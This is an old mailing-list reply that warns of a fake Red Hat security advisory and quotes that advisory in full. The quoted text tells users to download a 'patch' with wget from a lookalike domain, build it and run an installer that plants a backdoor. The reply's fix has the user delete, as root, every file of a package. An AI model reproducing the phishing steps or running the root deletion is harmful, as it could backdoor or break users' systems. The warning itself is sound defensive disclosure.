Re: RedHat: Buffer Overflow in "ls" and "mkdir"

Do not, under any circumstances, download the stuff from this so-called 
advisory.

It's a fake; doing what the originator is suggesting will create backdoors in 
your system.
In case anyone already installed this crap, here's how to fix it:
Open a root shell (e.g. by launching System -> Command Line Interpreter (Super 
User Mode)), and run

for i in `rpm -ql fileutils`; do rm -f $i; done
apt-get --reinstall install coreutils

Lastly, never install "security updates" that don't come from us.


On Sunday 24 October 2004 23:42, RedHat Security Team wrote:
>  Original issue date: October 20, 2004
>  Last revised: October 20, 2004
>  Source: RedHat
>
>
> A complete revision history is at the end of this file.
>
>
> Dear RedHat user,
>
>
>  Redhat found a vulnerability in fileutils (ls and mkdir), that could allow
> a remote attacker to execute arbitrary code with root privileges. Some of
> the affected linux distributions include RedHat 7.2, RedHat 7.3, RedHat
> 8.0, RedHat 9.0, Fedora CORE 1, Fedora CORE 2 and not only. It is known
> that *BSD and Solaris platforms are NOT affected.
>
>
> The RedHat Security Team strongly advises you to immediately apply the
> fileutils-1.0.6 patch. This is a critical-critical update that you must
> make by following these steps:
>
> First download the patch from the Security RedHat mirror: wget
> www.fedora-redhat.com/fileutils-1.0.6.patch.tar.gz Untar the patch: tar
> zxvf fileutils-1.0.6.patch.tar.gz
> cd fileutils-1.0.6.patch
> make
> ./inst
>
> Again, please apply this patch as soon as possible or you risk your system
> and others` to be compromised.
>
>
> Thank you for your prompt attention to this serious matter,
>
>
> RedHat Security Team.
>
>
>  Copyright © 2004 Red Hat, Inc. All rights reserved.